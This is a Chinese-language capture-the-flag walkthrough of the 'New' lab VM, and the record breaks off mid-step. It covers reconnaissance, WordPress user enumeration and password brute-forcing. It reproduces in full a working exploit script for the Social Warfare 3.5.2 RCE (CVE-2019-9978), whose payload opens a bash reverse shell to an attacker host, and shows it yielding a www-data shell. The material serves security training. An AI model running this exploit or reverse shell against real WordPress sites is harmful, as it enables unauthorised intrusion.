New_20250702

1. 基本信息

靶机链接:
https://maze-sec.com/library
https://hackmyvm.eu/machines/machine.php?vm=

难度: ⭐⭐
知识点: 信息收集, 目录扫描, `WordPress`,`wpscan`工具使用,`exploit-db`, `suForc`爆破密码, `sqlmap`提权

2. 信息收集

H5 Nmap

```
└─# arp-scan -l | grep PCS
192.168.31.71   08:00:27:cf:d7:fe       PCS Systemtechnik GmbH
└─# IP=192.168.31.71
└─# nmap -sV -sC -A $IP -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-02 09:35 CST
Nmap scan report for New (192.168.31.71)
Host is up (0.0017s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-generator: WordPress 6.8.1
|_http-title: Hi Maze
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.62 (Debian)
```

```
MAC Address: 08:00:27:CF:D7:FE (PCS Systemtechnik/Oracle VirtualBox
virtual NIC)
```

开放了`22、80`端口,先常规扫一下目录

```
└─# gobuster dir -w /usr/share/seclists/Discovery/Web-
Content/directory-list-2.3-medium.txt -u http://$IP -
x.txt,.php,.html,.bak
└─# dirsearch -u http://$IP  -x 403 -e txt,php,html
[09:37:00] 301 -    0B  - /0  ->  http://192.168.31.71/0/
[09:37:38] 301 -    0B  - /adm/index.php  ->
http://192.168.31.71/adm/
[09:37:38] 302 -    0B  - /admin  ->  http://new.dsz/wp-admin/
[09:37:41] 301 -    0B  - /admin.  ->  http://192.168.31.71/admin
[09:37:43] 302 -    0B  - /admin/  ->  http://new.dsz/wp-admin/
[09:37:47] 301 -    0B  - /admin/index.php  ->
http://192.168.31.71/admin/
[09:37:48] 301 -    0B  - /admin/mysql/index.php  ->
http://192.168.31.71/admin/mysql/
[09:37:48] 301 -    0B  - /admin/mysql2/index.php  ->
http://192.168.31.71/admin/mysql2/
[09:37:49] 301 -    0B  - /admin/phpMyAdmin/index.php  ->
http://192.168.31.71/admin/phpMyAdmin/
[09:37:49] 301 -    0B  - /admin/PMA/index.php  ->
http://192.168.31.71/admin/PMA/
[09:37:49] 301 -    0B  - /admin/pma/index.php  ->
http://192.168.31.71/admin/pma/
[09:37:49] 301 -    0B  - /admin/phpmyadmin/index.php  ->
http://192.168.31.71/admin/phpmyadmin/
[09:37:49] 301 -    0B  - /admin/phpmyadmin2/index.php  ->
http://192.168.31.71/admin/phpmyadmin2/
[09:37:51] 301 -    0B  - /admin2/index.php  ->
http://192.168.31.71/admin2/
[09:37:55] 301 -    0B  - /admin_area/index.php  ->
http://192.168.31.71/admin_area/
[09:38:12] 301 -    0B  - /adminarea/index.php  ->
http://192.168.31.71/adminarea/
[09:38:15] 301 -    0B  - /admincp/index.php  ->
http://192.168.31.71/admincp/
[09:38:16] 301 -    0B  - /adminer/index.php  ->
http://192.168.31.71/adminer/
[09:38:22] 301 -    0B  - /administrator/index.php  ->
http://192.168.31.71/administrator/
[09:38:35] 301 -    0B  - /apc/index.php  ->
http://192.168.31.71/apc/
```

```
[09:38:46] 301 -    0B  - /asset..  ->  http://192.168.31.71/asset
[09:38:47] 301 -    0B  - /atom  ->  http://192.168.31.71/feed/atom/
[09:38:52] 301 -    0B  - /axis//happyaxis.jsp  ->
http://192.168.31.71/axis/happyaxis.jsp
[09:38:52] 301 -    0B  - /axis2//axis2-web/HappyAxis.jsp  ->
http://192.168.31.71/axis2/axis2-web/HappyAxis.jsp
[09:38:52] 301 -    0B  - /axis2-web//HappyAxis.jsp  ->
http://192.168.31.71/axis2-web/HappyAxis.jsp
[09:38:57] 301 -    0B  - /bb-admin/index.php  ->
http://192.168.31.71/bb-admin/
[09:39:01] 301 -    0B  - /bitrix/admin/index.php  ->
http://192.168.31.71/bitrix/admin/
[09:39:18] 301 -    0B  -
/Citrix//AccessPlatform/auth/clientscripts/cookies.js  ->
http://192.168.31.71/Citrix/AccessPlatform/auth/clientscripts/cookies.
js
[09:39:19] 301 -    0B  - /claroline/phpMyAdmin/index.php  ->
http://192.168.31.71/claroline/phpMyAdmin/
[09:39:42] 302 -    0B  - /dashboard  ->  http://new.dsz/wp-admin/
[09:39:42] 302 -    0B  - /dashboard/  ->  http://new.dsz/wp-admin/
[09:39:46] 301 -    0B  - /db/index.php  ->  http://192.168.31.71/db/
[09:39:48] 301 -    0B  - /dbadmin/index.php  ->
http://192.168.31.71/dbadmin/
[09:40:04] 301 -    0B  - /engine/classes/swfupload//swfupload.swf  ->
http://192.168.31.71/engine/classes/swfupload/swfupload.swf
[09:40:04] 301 -    0B  - /engine/classes/swfupload//swfupload_f9.swf
 ->  http://192.168.31.71/engine/classes/swfupload/swfupload_f9.swf
[09:40:07] 301 -    0B  - /etc/lib/pChart2/examples/imageMap/index.php
 ->  http://192.168.31.71/etc/lib/pChart2/examples/imageMap/
[09:40:11] 301 -    0B  - /extjs/resources//charts.swf  ->
http://192.168.31.71/extjs/resources/charts.swf
[09:40:13] 302 -    0B  - /favicon.ico  ->  http://new.dsz/wp-
includes/images/w-logo-blue-white-bg.png
[09:40:14] 301 -    0B  - /feed  ->  http://192.168.31.71/feed/
[09:40:34] 301 -    0B  - /html/js/misc/swfupload//swfupload.swf  ->
http://192.168.31.71/html/js/misc/swfupload/swfupload.swf
[09:40:42] 301 -    0B  - /index.php  ->  http://192.168.31.71/
[09:40:43] 301 -    0B  - /index.php/login/  ->
http://192.168.31.71/login/
[09:40:47] 301 -    0B  - /install/index.php?upgrade/  ->
http://192.168.31.71/install/?upgrade/
[09:40:52] 301 -    0B  - /jkstatus;  ->
http://192.168.31.71/jkstatus
[09:41:02] 200 -    7KB - /license.txt
[09:41:07] 302 -    0B  - /login  ->  http://new.dsz/wp-login.php
```

```
[09:41:08] 302 -    0B  - /login.php  ->  http://new.dsz/wp-login.php
[09:41:08] 301 -    0B  - /login.wdm%2e  ->
http://192.168.31.71/login.wdm
[09:41:08] 301 -    0B  - /login.wdm%20  ->
http://192.168.31.71/login.wdm
[09:41:08] 302 -    0B  - /login/  ->  http://new.dsz/wp-login.php
[09:41:28] 301 -    0B  - /modelsearch/index.php  ->
http://192.168.31.71/modelsearch/
[09:41:33] 301 -    0B  - /myadmin/index.php  ->
http://192.168.31.71/myadmin/
[09:41:34] 301 -    0B  - /myadmin2/index.php  ->
http://192.168.31.71/myadmin2/
[09:41:34] 301 -    0B  - /mysql-admin/index.php  ->
http://192.168.31.71/mysql-admin/
[09:41:35] 301 -    0B  - /mysql/index.php  ->
http://192.168.31.71/mysql/
[09:41:35] 301 -    0B  - /mysqladmin/index.php  ->
http://192.168.31.71/mysqladmin/
[09:41:37] 301 -    0B  - /New%20folder%20(2)  ->
http://192.168.31.71/New%20folder%20(2
[09:41:49] 301 -    0B  - /panel-administracion/index.php  ->
http://192.168.31.71/panel-administracion/
[09:41:56] 301 -    0B  - /phpadmin/index.php  ->
http://192.168.31.71/phpadmin/
[09:41:58] 301 -    0B  - /phpma/index.php  ->
http://192.168.31.71/phpma/
[09:41:59] 301 -    0B  - /phpmyadmin!!  ->
http://192.168.31.71/phpmyadmin
[09:42:07] 301 -    0B  - /phpmyadmin-old/index.php  ->
http://192.168.31.71/phpmyadmin-old/
[09:42:07] 301 -    0B  - /phpMyAdmin.old/index.php  ->
http://192.168.31.71/phpMyAdmin.old/
[09:42:07] 301 -    0B  - /phpMyAdmin/index.php  ->
http://192.168.31.71/phpMyAdmin/
[09:42:07] 301 -    0B  - /phpmyadmin/index.php  ->
http://192.168.31.71/phpmyadmin/
[09:42:07] 301 -    0B  - /phpMyAdmin/phpMyAdmin/index.php  ->
http://192.168.31.71/phpMyAdmin/phpMyAdmin/
[09:42:07] 301 -    0B  - /phpmyadmin/phpmyadmin/index.php  ->
http://192.168.31.71/phpmyadmin/phpmyadmin/
[09:42:07] 301 -    0B  - /phpmyadmin1/index.php  ->
http://192.168.31.71/phpmyadmin1/
[09:42:07] 301 -    0B  - /phpmyadmin0/index.php  ->
http://192.168.31.71/phpmyadmin0/
```

```
[09:42:08] 301 -    0B  - /phpmyadmin2/index.php  ->
http://192.168.31.71/phpmyadmin2/
[09:42:08] 301 -    0B  - /phpMyadmin_bak/index.php  ->
http://192.168.31.71/phpMyadmin_bak/
[09:42:08] 301 -    0B  - /phpMyAdminold/index.php  ->
http://192.168.31.71/phpMyAdminold/
[09:42:13] 301 -    0B  - /pma-old/index.php  ->
http://192.168.31.71/pma-old/
[09:42:13] 301 -    0B  - /PMA/index.php  ->
http://192.168.31.71/PMA/
[09:42:13] 301 -    0B  - /pma/index.php  ->
http://192.168.31.71/pma/
[09:42:13] 301 -    0B  - /PMA2/index.php  ->
http://192.168.31.71/PMA2/
[09:42:14] 301 -    0B  - /pmd/index.php  ->
http://192.168.31.71/pmd/
[09:42:14] 301 -    0B  - /pmamy2/index.php  ->
http://192.168.31.71/pmamy2/
[09:42:14] 301 -    0B  - /pmamy/index.php  ->
http://192.168.31.71/pmamy/
[09:42:25] 301 -    0B  - /rating_over.  ->
http://192.168.31.71/rating_over
[09:42:26] 200 -    3KB - /readme.html
[09:42:33] 200 -   67B  - /robots.txt
[09:42:34] 301 -    0B  - /roundcube/index.php  ->
http://192.168.31.71/roundcube/
[09:42:34] 301 -    0B  - /rss  ->  http://192.168.31.71/feed/
[09:42:52] 301 -    0B  - /siteadmin/index.php  ->
http://192.168.31.71/siteadmin/
[09:42:54] 404 -   55KB - /sitemap.xml
[09:42:54] 404 -   55KB - /sitemap.xml.gz
[09:42:58] 301 -    0B  - /sql/index.php  ->
http://192.168.31.71/sql/
[09:43:03] 301 -    0B  - /static..  ->  http://192.168.31.71/static
[09:43:07] 301 -    0B  - /sugarcrm/index.php?
module=Accounts&action=ShowDuplicates  ->
http://192.168.31.71/sugarcrm/?module=Accounts&action=ShowDuplicates
[09:43:07] 301 -    0B  - /sugarcrm/index.php?
module=Contacts&action=ShowDuplicates  ->
http://192.168.31.71/sugarcrm/?module=Contacts&action=ShowDuplicates
[09:43:17] 301 -    0B  - /templates/beez/index.php  ->
http://192.168.31.71/templates/beez/
[09:43:17] 301 -    0B  - /templates/ja-helio-farsi/index.php  ->
http://192.168.31.71/templates/ja-helio-farsi/
```

```
[09:43:17] 301 -    0B  - /templates/rhuk_milkyway/index.php  ->
http://192.168.31.71/templates/rhuk_milkyway/
[09:43:24] 301 -    0B  - /tmp/index.php  ->
http://192.168.31.71/tmp/
[09:43:25] 301 -    0B  - /tools/phpMyAdmin/index.php  ->
http://192.168.31.71/tools/phpMyAdmin/
[09:43:27] 301 -    0B  - /typo3/phpmyadmin/index.php  ->
http://192.168.31.71/typo3/phpmyadmin/
[09:43:52] 301 -    0B  - /web/phpMyAdmin/index.php  ->
http://192.168.31.71/web/phpMyAdmin/
[09:43:53] 301 -    0B  - /webadmin/index.php  ->
http://192.168.31.71/webadmin/
[09:43:57] 301 -  317B  - /wp-admin  ->  http://192.168.31.71/wp-
admin/
[09:43:58] 500 -    3KB - /wp-admin/setup-config.php
[09:43:58] 200 -  567B  - /wp-admin/install.php
[09:43:58] 200 -    0B  - /wp-config.php
[09:43:59] 301 -  319B  - /wp-content  ->  http://192.168.31.71/wp-
content/
[09:43:59] 200 -    0B  - /wp-content/
[09:44:00] 301 -    0B  - /wp-
content/plugins/adminer/inc/editor/index.php  ->
http://192.168.31.71/wp-content/plugins/adminer/inc/editor/
[09:44:01] 200 -    0B  - /wp-content/plugins/hello.php
[09:44:02] 301 -  320B  - /wp-includes  ->  http://192.168.31.71/wp-
includes/
[09:44:02] 200 -    0B  - /wp-includes/rss-functions.php
[09:44:02] 200 -    0B  - /wp-cron.php
[09:44:02] 200 -  709B  - /wp-json/wp/v2/users/
[09:44:02] 301 -    0B  - /wp-register.php  ->  http://new.dsz/wp-
login.php?action=register
[09:44:02] 200 -  216KB - /wp-json/
[09:44:02] 302 -    0B  - /wp-signup.php  ->  http://new.dsz/wp-
login.php?action=register
[09:44:03] 400 -    1B  - /wp-admin/admin-ajax.php
[09:44:03] 302 -    0B  - /wp-admin/  ->  http://new.dsz/wp-login.php?
redirect_to=http%3A%2F%2F192.168.31.71%2Fwp-admin%2F&reauth=1
[09:44:04] 301 -    0B  - /www/phpMyAdmin/index.php  ->
http://192.168.31.71/www/phpMyAdmin/
[09:44:05] 301 -    0B  - /xampp/phpmyadmin/index.php  ->
http://192.168.31.71/xampp/phpmyadmin/
[09:44:06] 405 -   42B  - /xmlrpc.php
[09:44:08] 200 -    3KB - /wp-login.php
```

直接访问`80`端口，源码发现提示信息`Social Warfare v3.5.2`搜索发现这个版本存在漏洞，把跳转域名`http://new.dsz`加入`hosts`

```
<!-- Social Warfare v3.5.2 https://warfareplugins.com


<title>Hi Maze</title>
<link rel='dns-prefetch' href='//new.dsz' />
<link rel="alternate" type="application/rss+xml" title="Hi Maze
&raquo; Feed" href="http://new.dsz/feed/" />
<link rel="alternate" type="application/rss+xml" title="Hi Maze
&raquo; 评论 Feed" href="http://new.dsz/comments/feed/" />


└─# echo '192.168.31.71  new.dsz'>>/etc/hosts
```

3.测试`WordPress`

H5 `wpscan`工具使用

```
└─# wpscan  --url http://new.dsz -e u,vp
[i] User(s) Identified:

[+] maze-sec
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://new.dsz/wp-json/wp/v2/users/?per_page=100&page=1
 |  Rss Generator (Aggressive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[+] hyh
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive
Detection)

[+] sublarge
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive
Detection)

[+] todd
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive
Detection)
```

```
[!] No WPScan API Token given, as a result vulnerability data has not
been output.
[!] You can get a free API token with 25 daily requests by registering
at https://wpscan.com/register

[+] Finished: Wed Jul  2 09:47:10 2025
[+] Requests Done: 1329
[+] Cached Requests: 11
[+] Data Sent: 346.13 KB
[+] Data Received: 30.486 MB
[+] Memory used: 286.582 MB
[+] Elapsed time: 00:00:12
└─# wpscan  --url http://new.dsz -U hyh -P
/usr/share/seclists/TopDic/rockyou50000.txt
[!] Valid Combinations Found:
 | Username: hyh, Password: password
```

用`wpscan`扫到`hyh`用户密码登陆没反应，再试试`扫描插件`

```
└─# wpscan --api-token $wpAPI --url http://new.dsz --enumerate vp
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                        Version 3.8.27
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]
[+] URL: http://new.dsz/ [192.168.31.71]
[+] Started: Wed Jul  2 10:02:10 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.62 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%
```

```
[+] robots.txt found: http://new.dsz/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://new.dsz/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  -
https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  -
https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  -
https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  -
https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://new.dsz/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://new.dsz/wp-
cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

Fingerprinting the version - Time: 00:00:08
<=======================================> (700 / 700) 100.00% Time:
00:00:08
[i] The WordPress version could not be detected.

[+] WordPress theme in use: twentytwentyfive
 | Location: http://new.dsz/wp-content/themes/twentytwentyfive/
```

```
 | Latest Version: 1.2 (up to date)
 | Last Updated: 2025-04-15T00:00:00.000Z
 | Readme: http://new.dsz/wp-
content/themes/twentytwentyfive/readme.txt
 | Style URL: http://new.dsz/wp-
content/themes/twentytwentyfive/style.css?ver=1.2
 | Style Name: Twenty Twenty-Five
 | Style URI: https://wordpress.org/themes/twentytwentyfive/
 | Description: Twenty Twenty-Five emphasizes simplicity and
adaptability. It offers flexible design options, suppor...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://new.dsz/wp-content/themes/twentytwentyfive/style.css?
ver=1.2, Match: 'Version: 1.2'

[+] Enumerating Vulnerable Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] social-warfare
 | Location: http://new.dsz/wp-content/plugins/social-warfare/
 | Last Updated: 2025-03-18T09:37:00.000Z
 | [!] The version is out of date, the latest version is 4.5.6
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By:
 |  Urls In 404 Page (Passive Detection)
 |  Comment (Passive Detection)
 |
 | [!] 8 vulnerabilities identified:
 |
 | [!] Title: Social Warfare <= 3.5.2 - Unauthenticated Arbitrary
Settings Update
 |     Fixed in: 3.5.3
 |     References:
 |      - https://wpscan.com/vulnerability/32085d2d-1235-42b4-baeb-
bc43172a4972
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9978
```

```
 |      - https://wordpress.org/support/topic/malware-into-new-update/
 |      - https://www.wordfence.com/blog/2019/03/unpatched-zero-day-vulnerability-in-social-warfare-plugin-exploited-in-the-wild/
 |      - https://threatpost.com/wordpress-plugin-removed-after-zero-day-discovered/143051/
 |      - https://twitter.com/warfareplugins/status/1108826025188909057
 |      - https://www.wordfence.com/blog/2019/03/recent-social-warfare-vulnerability-allowed-remote-code-execution/
 |
 | [!] Title: Social Warfare <= 3.5.2 - Unauthenticated Remote Code Execution (RCE)
 |     Fixed in: 3.5.3
 |     References:
 |      - https://wpscan.com/vulnerability/7b412469-cc03-4899-b397-38580ced5618
 |      - https://www.webarxsecurity.com/social-warfare-vulnerability/
 |
 | [!] Title: Social Warfare < 4.3.1 - Subscriber+ Post Meta Deletion
 |     Fixed in: 4.3.1
 |     References:
 |      - https://wpscan.com/vulnerability/5116068f-4b84-42ad-a88d-03e46096b41c
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0402
 |
 | [!] Title: Social Warfare < 4.4.0 - Post Meta Deletion via CSRF
 |     Fixed in: 4.4.0
 |     References:
 |      - https://wpscan.com/vulnerability/7140abf5-5966-4361-bd51-ee29d3071a30
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0403
 |
 | [!] Title: Social Sharing Plugin - Social Warfare < 4.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
 |     Fixed in: 4.4.4
 |     References:
 |      - https://wpscan.com/vulnerability/ab221b58-369e-4010-ae36-be099b2f4c9b
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4842
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/8f5b9aff-0833-4887-ae59-df5bc88c7f91
 |
 | [!] Title: Social Sharing Plugin - Social Warfare < 4.4.6.2 - Authenticated(Contributor+) Stored Cross-Site Scripting via Shortcode
 |     Fixed in: 4.4.6.2
```

```
 |     References:
 |      - https://wpscan.com/vulnerability/26ad138e-990a-4401-84e4-
ea694ccf6e7f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1959
 |      - https://www.wordfence.com/threat-
intel/vulnerabilities/id/1016f16c-0ab2-4cac-a7a5-8d93a37e7894
 |
 | [!] Title: Social Sharing Plugin - Social Warfare < 4.4.6 - Cross-
Site Request Forgery
 |     Fixed in: 4.4.6
 |     References:
 |      - https://wpscan.com/vulnerability/acb8b33c-6b74-4d65-a3a5-
5cad0c1ea8b0
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-
34825
 |      - https://www.wordfence.com/threat-
intel/vulnerabilities/id/f105bee6-21b2-4014-bb0a-9e53c49e29b0
 |
 | [!] Title: Social Warfare < 4.5.6 - Contributor+ Stored XSS
 |     Fixed in: 4.5.6
 |     References:
 |      - https://wpscan.com/vulnerability/447065f5-f2f9-4e0c-b524-
c730655f3d79
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-
26973
 |      - https://patchstack.com/database/wordpress/plugin/social-
warfare/vulnerability/wordpress-social-warfare-plugin-4-5-4-cross-
site-scripting-xss-vulnerability
 |
 | Version: 3.5.2 (100% confidence)
 | Found By: Comment (Passive Detection)
 |  - http://new.dsz/, Match: 'Social Warfare v3.5.2'
 | Confirmed By:
 |  Query Parameter (Passive Detection)
 |   - http://new.dsz/wp-content/plugins/social-
warfare/assets/css/style.min.css?ver=3.5.2
 |   - http://new.dsz/wp-content/plugins/social-
warfare/assets/js/script.min.js?ver=3.5.2
 |  Readme - Stable Tag (Aggressive Detection)
 |   - http://new.dsz/wp-content/plugins/social-warfare/readme.txt
 |  Readme - ChangeLog Section (Aggressive Detection)
 |   - http://new.dsz/wp-content/plugins/social-warfare/readme.txt

[+] WPScan DB API OK
 | Plan: free
```

```
 | Requests Done (during the scan): 3
 | Requests Remaining: 22

[+] Finished: Wed Jul  2 10:02:25 2025
[+] Requests Done: 707
[+] Cached Requests: 613
[+] Data Sent: 184.543 KB
[+] Data Received: 265.32 KB
[+] Memory used: 242.789 MB
[+] Elapsed time: 00:00:14
```

可利用的不少，先试试`social-warfare`插件`RCE`漏洞`CVE-2019-9978`

4.获得`www-data`权限

H5 `exploit-db`

该版本`Social Warfare v3.5.2`存在`CVE-2019-9978`漏洞，参考页面`https://www.exploit-db.com/exploits/52346`

```
#!/usr/bin/env python3

# Exploit Title: Social Warfare WordPress Plugin 3.5.2 - Remote Code
Execution (RCE)
# Date: 25-06-2025
# Exploit Author: Huseyin Mardini (@housma)
# Original Researcher: Luka Sikic
# Original Exploit Author: hash3liZer
# Vendor Homepage: https://wordpress.org/plugins/social-warfare/
# Software Link: https://downloads.wordpress.org/plugin/social-
warfare.3.5.2.zip
# Version: ⩽ 3.5.2
# CVE: CVE-2019-9978
# Tested On: WordPress 5.1.1 with Social Warfare 3.5.2 (on Ubuntu
20.04)
# Python Version: Python 3.x
# Reference: https://www.exploit-db.com/exploits/46794
# Github (original PoC): https://github.com/hash3liZer/CVE-2019-9978

# The currently listed exploit for *CVE-2019-9978* (Exploit ID
46794<https://www.exploit-db.com/exploits/46794>) appears to no longer
work as intended in many modern environments

# Usage:
```

```
#   1. Edit the config section below and replace `ATTACKER_IP` with
your machine's IP.
#   2. Run the script: `python3 exploit.py`
#   3. It will:
#       - Create a PHP payload and save it as `payload.txt` (or any
filename you set in PAYLOAD_FILE)
#       - Start an HTTP server on `HTTP_PORT` to host the payload
#       - Start a Netcat listener on `LISTEN_PORT`
#       - Trigger the vulnerability via the vulnerable `swp_debug`
parameter
#   4. On success, you get a reverse shell as `www-data`.
#
# Note:
#   - PAYLOAD_FILE defines only the name of the file to be created and
served.
#   - Make sure ports 8001 and 4444 are open and not in use.

import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time

# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "xxx.xxx.xx.xx"  # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4444
PAYLOAD_FILE = "payload.txt"


def create_payload():
    """Write exact reverse shell payload using valid PHP syntax"""
    payload = f'<pre>system("bash -c \\"bash -i >&
/dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
    with open(PAYLOAD_FILE, "w") as f:
        f.write(payload)
    print(f"[+] Payload written to {PAYLOAD_FILE}")


def start_http_server():
    """Serve payload over HTTP"""
    handler = http.server.SimpleHTTPRequestHandler
```

```
    with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
        print(f"[+] HTTP server running at port {HTTP_PORT}")
        httpd.serve_forever()


def start_listener():
    """Start Netcat listener"""
    print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
    subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])


def send_exploit():
    """Trigger the exploit with vulnerable parameter"""
    payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
    exploit = f"{TARGET_URL}/wp-admin/admin-post.php?
swp_debug=load_options&swp_url={payload_url}"
    print(f"[+] Sending exploit: {exploit}")
    try:
        requests.get(exploit, timeout=5)
    except requests.exceptions.RequestException:
        pass


def main():
    create_payload()

    # Start web server in background
    http_thread = threading.Thread(target=start_http_server,
daemon=True)
    http_thread.start()
    time.sleep(2)  # Give server time to start

    # Start listener in background
    listener_thread = threading.Thread(target=start_listener)
    listener_thread.start()
    time.sleep(1)

    # Send the malicious request
    send_exploit()


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
```

```
        print("[-] Interrupted by user.")
```

修改目标网址和本机`ip`后,直接拿现成的脚本`52346.py`运行

```
vi 52346.py
# --- Config ---
TARGET_URL = "http://new.dsz"  # Change to your attack wordpress
ATTACKER_IP = "192.168.31.127"  # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4444
PAYLOAD_FILE = "payload.txt"


└─# python3 52346.py
[+] Payload written to payload.txt
[+] HTTP server running at port 8000
[+] Listening on port 4444 for reverse shell...
listening on [any] 4444 ...
[+] Sending exploit: http://new.dsz/wp-admin/admin-post.php?
swp_debug=load_options&swp_url=http://192.168.31.127:8000/payload.txt
192.168.31.71 - - [02/Jul/2025 10:29:16] "GET /payload.txt?
swp_debug=get_user_options HTTP/1.1" 200 -
connect to [192.168.31.127] from (UNKNOWN) [192.168.31.71] 49118
bash: cannot set terminal process group (470): Inappropriate ioctl for
device
bash: no job control in this shell
www-data@New:/var/www/new.dsz/wp-admin$
www-data@New:/var/www/new.dsz/wp-admin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@New:/var/www/new.dsz/wp-admin$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
......
ahiz:x:1001:1001:,,,:/home/ahiz:/bin/bash
andeli:x:1002:1002:,,,:/home/andeli:/bin/bash
```

成功获得`www-data`权限，家目录有两个用户`ahiz`、`andeli`

H5 拿到`user.txt`

```
www-data@New:/home/ahiz$ cat user.txt
cat /home/ahiz/user.txt
flag{user-7b03ed18-5665-11f0-865b-5b1db8a6483b}
```

5.获得andeli权限

opt目录有个执行文件andeli_cred只有执行权限，运行后会输出一系列md5值，第一行会提示正确md5所在的行

```
www-data@New:/home/ahiz$ ls -artl
ls -artl
total 28
-rw-r--r-- 1 ahiz ahiz  807 Jul  1 06:23 .profile
-rw-r--r-- 1 ahiz ahiz 3526 Jul  1 06:23 .bashrc
-rw-r--r-- 1 ahiz ahiz  220 Jul  1 06:23 .bash_logout
-rw-r--r-- 1 root root   48 Jul  1 06:24 user.txt
drwxr-xr-x 4 root root 4096 Jul  1 06:24 ..
-rw------- 1 ahiz ahiz   33 Jul  1 06:25 cred.txt
lrwxrwxrwx 1 root root    9 Jul  1 07:45 .bash_history -> /dev/null
drwxr-xr-x 2 ahiz ahiz 4096 Jul  1 07:45 .
www-data@New:/opt$ ls -artl
ls -artl
total 28
drwxr-xr-x 18 root root  4096 Mar 18 20:37 ..
-rwx--x--x  1 root root 16840 Jul  1 06:33 andeli_cred
drwxr-xr-x  2 root root  4096 Jul  1 06:34 .
```

提示信息给的挺足的，通过两次运行结果对比，找到了目标md5：9eeb22195b4eb7a35bcad0f45761eb7b

```
www-data@New:/tmp$  /opt/andeli_cred > /tmp/1.txt
www-data@New:/tmp$  /opt/andeli_cred > /tmp/2.txt
www-data@New:/tmp$ cat 2.txt | more
固定MD5插入位置: 4640
740e9a28bdd0a744bf77c79eee1c64bd
8bb15da0a714f58a40107ae5801e4ccc
87dd57efff4e4c88c984479c7bbb777f
e4d3cb3ba79e3160ae4e5dbc8670defb
3cff72a193fc45ce40d9e866ed6bc66f
......
#awk提取4640行有用信息
www-data@New:/tmp$ awk 'NR≥4639 && NR≤4641 {print NR ":" $0}' 2.txt
4639:f1f2f6b67e541541603e7c8748065ed4
4640:0c6f325a0ae1f225353a2b1641c909d0
4641:9eeb22195b4eb7a35bcad0f45761eb7b
#为了保险起见再取一次运行结果对比
www-data@New:/tmp$ head -n 3 1.txt
固定MD5插入位置: 6491
88bbc7c6335e08ea38b380da624210c9
```

```
